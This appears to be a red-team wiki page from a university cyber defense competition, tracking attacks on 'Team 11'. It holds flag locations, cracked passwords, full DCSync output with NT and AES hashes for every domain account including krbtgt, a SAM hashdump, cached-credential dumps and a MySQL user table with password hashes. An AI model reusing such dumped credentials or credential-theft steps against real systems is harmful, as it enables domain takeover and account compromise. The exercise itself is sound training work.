Team 11 Wiki Page

Signup Login

Number: Team 11
Name: The Grand-Master Association
IP Range: 76.5.61.0/24
Domain: team11.isucdc.com
Current Place: 6th
Red Teamer(s): None

Blue Flags
AD C:\Windows\System32\ WWW /etc/ LP C:\Windows\System32\ WMS /etc/ DB /etc/ WWW admin_flag

Red Flags
AD C:\Users\Administrator\ WWW /root/ LP C:\Users\Administrator\ WMS /root/ DB /root/ DB New Table Deface the website

AD LDAP

AD RDP

WWW HTTP

WWW SSH

LP RDP

LP SMB

WMS HTTP

WMS SSH

DB SSH

DB SQL

jacqueline.elliott -> dih117bij

christy.davis -> jed100suc

jennifer.freeman -> luh722waj

f64506fd2482dea52ca0e16f06cb7717->gaq128mux

290bfe8adefab2335eb74dabda86d730->pam054ret

db7a2a82dcec2f88ee1ebacd12b01fbf->wil558rah

1a05d99b4b77919fae153d0f2673554a->bip769qiw

7c5c7c23bc8433b727b43fa81ffd7f14->vet035zos

ef2c0e5749ad00a801b1b6244907cddd->hoj947jeb

DCSync output:

[*] Discovered DC: ad.team11.isucdc.com
[+] Default naming context: DC=team11,DC=isucdc,DC=com
[+] Successfully enumerated 24 users

[*] Starting DCSync for 24 objects...

[*] User: team11.isucdc.com\Administrator
nt: 5f6391461d71905c2fff6399c0043b86
aes256: 5fc9ac58b3d2a4417db95aff63fa0751f8e159a47292de2489ad81d2387d25d3
aes128: 9cad5a44691bec59d7e97e22b52fdba3

[*] User: team11.isucdc.com\Guest

[*] User: team11.isucdc.com\DefaultAccount

[*] Computer: team11.isucdc.com\AD$
nt: 980adccd1cede917a70f7bd76ab90dcc
aes256: 8ccede3b3f1792be941c2e345c0eb90d8c3ff129c00a4800dc0db5e670068df7
aes128: a9a15bbcd5bb27c534b3fbeed0521f6c

[*] User: team11.isucdc.com\krbtgt
nt: 9172e395024cc2b9cc52e6df699a8f0c
aes256: 917111fccf11d8a6575cfb5d4bc3d049fab34fa5f99e6b7860e87b5de51f298f
aes128: e81bbd8b94f9e91e4ac8713c066e6a9e

[*] User: team11.isucdc.com\christy.davis
nt: 6bec24f96f15c6a4a7f13cb331f3378f
aes256: 6e254859f27afa70b7b45a33d7448e161790fb4c83c0ee944ca47a5290deae77
aes128: 220d311c723a14b6e7b82c6fe0a90d04

[*] User: team11.isucdc.com\jacqueline.elliott
nt: 6b0bbfeca208e98c4436ff865c1f887a
aes256: dc17613941f4e77b02a2acad534af398facaa4392f18c622c0d3ea9230513846
aes128: b13fd87b857bfb41569ea1744f1d0973

[*] User: team11.isucdc.com\jennifer.freeman
nt: 39cbe00413007c12dff2ada34ef96228
aes256: 8bc172d87465b450005838d97e8a10a27d02ac09c8d13bf77db445b30dc8e877
aes128: 6eee3f08cb250f0b8c5a2f5dd6a97874

[*] User: team11.isucdc.com\anna.pugh
nt: f64506fd2482dea52ca0e16f06cb7717
aes256: 0977922c114c6f03906791cfe7fda4c8eca93c7687188939e4fd6b1e3f7ed5ce
aes128: 6e7b68f8feee38aad2ed45f064de0b35

[*] User: team11.isucdc.com\craig.brown
nt: 290bfe8adefab2335eb74dabda86d730
aes256: ca4986e0fd7b7a9f2ff3f8a1f737479a70578af225a717bc088cc367d3571e07
aes128: 59ea121f5b4897cd7220109d482af164

[*] User: team11.isucdc.com\travis.hebert
nt: db7a2a82dcec2f88ee1ebacd12b01fbf
aes256: 3c439e95bb65fec91f6aaa5d80a0cd50265f3b36bedfe2a0accb59845fe6d32d
aes128: 10a3eac5a8780e885e71f6fa4cbe65b4

[*] User: team11.isucdc.com\david.bailey
nt: 1a05d99b4b77919fae153d0f2673554a
aes256: 285b6375834687f89f008797b4d1854946a9ce182d970ee8031a99a2be8600bf
aes128: 7a02c76acd76f8023b5c02a2cfddb4bf

[*] User: team11.isucdc.com\scott.avila
nt: 7c5c7c23bc8433b727b43fa81ffd7f14
aes256: 02b25818c51b749240fa03ff5bc0f96128b07ed0680dffa73661c5e2a5b8e21e
aes128: 7b7fac314c1e4f77297d028c84b4007a

[*] User: team11.isucdc.com\joseph.smith
nt: ef2c0e5749ad00a801b1b6244907cddd
aes256: e09565365e911d0c9a2d13c4ee6462546efe3425a538da0fd06f007e8b0fc4f8
aes128: bc9f4209cdb4ba1fae283666f5322385

[*] User: team11.isucdc.com\sandra.henderson
nt: 888bdb846c6ced6d86ede64c52038bb1
aes256: 29807a761cd8aaff612dfa3d342b81c8539ef693f1b041a09c50df541044df5f
aes128: 9e8aa09dbfdd99b073fabf667bbf3cb1

[*] User: team11.isucdc.com\darren.williams
nt: 1d4e5459c4b1e83948a5e500d3457a51
aes256: a798a8cc4fb2f4e4a99edf3670c727fef09a09365c139972ca9d1dc86e812e72
aes128: 05476e549268d6ba090f7b51b1662549

[*] User: team11.isucdc.com\allison.hamilton
nt: dc6805f77b07f33e2bd1a4f6c1943339
aes256: 15b5fa0708abacfed5e99b5dc53c354673938f2cae68d017353c3c388e4d358f
aes128: 100fe8b3532a9ef423c030b179e0e2c5

[*] User: team11.isucdc.com\lori.petersen
nt: 639c22b12e5c5664d3290241435f6088
aes256: f032f4e91f92a40431295f227a42edb413e6f03700b38e02dec74bd4848122b6
aes128: d7ed7b109af9caff443188e62bd4274f

[*] Computer: team11.isucdc.com\LP$
nt: 41e55d4190339a273970671e5b0bd934
aes256: 8ee3412b6cc2c4ae92682ddb92e9769820499693ba9d614244f5df5be2b82681
aes128: 89390da84359dce1e57d81b1a6973fb5

[*] Computer: team11.isucdc.com\DB$
nt: 9f14aef26a46ff8e4c8e758bc0c91c3f
aes256: 2e44e0b4e01112c080647dd9c72ecd22a40e5e2c56d0fa6ef9ea40479595dbc1
aes128: 21e275e4668f216247209ca11c9b64ac

[*] Computer: team11.isucdc.com\WWW$
nt: e9c1d72850085af7a4104d5b9a9e3c04
aes256: ebc877e0bbc389ba5f3caeae8bda40eddf2ec0251d8e7598e39732331ab6b6a3
aes128: d1cf0800e8e4256a977d6e6d0c1bc946

[*] Computer: team11.isucdc.com\WMS$
nt: fab0036bcbbcf23f71dd0f1054b59df4
aes256: 7f19f77d225fd9adba12a9a50d5ec381d9eef92f8bddeedfde3935a97754e235
aes128: bc4d7abdf8fcbc4ef2e7d8f7d6bf3578

[*] Computer: team11.isucdc.com\redputer2$
nt: 6aa15b3d14492d3fa4aa7c5e9cdc0e6a
aes256: cc88c5b64c95034aebec7f2d4b8a1688f2e19c5ed6f5c849b186d6cb59fb3677
aes128: 67e05396ae8da056ae2f1f226f891b88

[*] Computer: team11.isucdc.com\redputer3$
nt: 6aa15b3d14492d3fa4aa7c5e9cdc0e6a
aes256: 67d89df5948da371c3c06d27af96124049415154ce5a7a257a4b060689d6e08f
aes128: b415ade0e27d5df8d757f9f9f89d653a

[+] DCSync complete for 24 objects

OK team=11 host=www.team11.isucdc.com user=darren.williams password=blues22 reason=ok

OK team=11 host=www.team11.isucdc.com user=allison.hamilton password=tiny85 reason=ok
OK team=11 host=www.team11.isucdc.com user=lori.petersen password=ricale reason=ok
OK team=11 host=db.team11.isucdc.com user=darren.williams password=blues22 reason=ok
OK team=11 host=db.team11.isucdc.com user=allison.hamilton password=tiny85 reason=ok

OK team=11 host=db.team11.isucdc.com user=lori.petersen password=ricale reason=ok

WMS

[HASHDUMP] Dumped SAM and SYSTEM
[HASHDUMP] Found current control set: 1
[HASHDUMP] Bootkey: 9a1ab3aba99d93825a4090889c7348d0
[HASHDUMP] Decrypted bootkey: 1d3d08a2e272d1398c080c63b51b1de7
Administrator:500:3c4fe4d118924b834609cb660dc74226
WDAGUtilityAccount:504:f75eb388afde47672af3aad22413679f
cdc:1002:6aa15b3d14492d3fa4aa7c5e9cdc0e6a
Adminsitrator:1003:d938c640725cbd1d043eddd426ed3212

=== lsadump::cache ===
Syskey: 9a1ab3aba99d93825a4090889c7348d0
NL$KM : 65813270713b7f65013e68d0c4dc4bb4
* Iteration is set to default (10240)

[NL$1]
RID : 000001f4 (500)
User : TEAM11\Administrator
MsCacheV2 : 25213518825e1b34f693f6314ac84396

[NL$2]
RID : 00000456 (1110)
User : TEAM11\christy.davis
MsCacheV2 : 661c79d5404963fa0311a8e23414052b

[+] 2 cached credential(s)

mysql> select * from mysql.user;
+-----------+------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+----------+------------------------+--------------------------+----------------------------+---------------+-------------+-----------------+----------------------+-----------------------+-------------------------------------------+------------------+-----------------------+-------------------+----------------+
| Host | User | Select_priv | Insert_priv | Update_priv | Delete_priv | Create_priv | Drop_priv | Reload_priv | Shutdown_priv | Process_priv | File_priv | Grant_priv | References_priv | Index_priv | Alter_priv | Show_db_priv | Super_priv | Create_tmp_table_priv | Lock_tables_priv | Execute_priv | Repl_slave_priv | Repl_client_priv | Create_view_priv | Show_view_priv | Create_routine_priv | Alter_routine_priv | Create_user_priv | Event_priv | Trigger_priv | Create_tablespace_priv | ssl_type | ssl_cipher | x509_issuer | x509_subject | max_questions | max_updates | max_connections | max_user_connections | plugin | authentication_string | password_expired | password_last_changed | password_lifetime | account_locked |
+-----------+------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+----------+------------------------+--------------------------+----------------------------+---------------+-------------+-----------------+----------------------+-----------------------+-------------------------------------------+------------------+-----------------------+-------------------+----------------+
| localhost | root | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | | 0x | 0x | 0x | 0 | 0 | 0 | 0 | mysql_native_password | *11EFE3D56FB6AE7A199B1C6096139BEF7A313EA1 | N | 2026-02-19 13:33:02 | NULL | N |
| localhost | mysql.session | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | Y | N | N | N | N | N | N | N | N | N | N | N | N | N | | 0x | 0x | 0x | 0 | 0 | 0 | 0 | mysql_native_password | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE | N | 2026-02-19 13:12:20 | NULL | Y |
| localhost | mysql.sys | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | | 0x | 0x | 0x | 0 | 0 | 0 | 0 | mysql_native_password | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE | N | 2026-02-19 13:12:20 | NULL | Y |
| localhost | debian-sys-maint | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | | 0x | 0x | 0x | 0 | 0 | 0 | 0 | mysql_native_password | *06717CE17A0B5509161CF7FB625C1B46C7E899CA | N | 2026-02-19 13:12:20 | NULL | N |
| % | richard | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | | 0x | 0x | 0x | 0 | 0 | 0 | 0 | mysql_native_password | *5933A960A0404555258B9C06FA840371E8E4C8AE | N | 2026-04-25 08:22:39 | NULL | N |
| % | cdc | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | N | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | | 0x | 0x | 0x | 0 | 0 | 0 | 0 | mysql_native_password | *11EFE3D56FB6AE7A199B1C6096139BEF7A313EA1 | N | 2026-03-05 14:36:16 | NULL | N |
| % | john_leguizamo | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | | 0x | 0x | 0x | 0 | 0 | 0 | 0 | mysql_native_password | *11EFE3D56FB6AE7A199B1C6096139BEF7A313EA1 | N | 2026-03-08 18:54:01 | NULL | N |
+-----------+------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+----------+------------------------+--------------------------+----------------------------+---------------+-------------+-----------------+----------------------+-----------------------+-------------------------------------------+------------------+-----------------------+-------------------+----------------+
7 rows in set (0.00 sec)

Team 11 Wiki Page

Team Information

Flag Status

Service Status

Nmap

Notable Vulnerabilities

Notable Defenses

Team Spirit Issues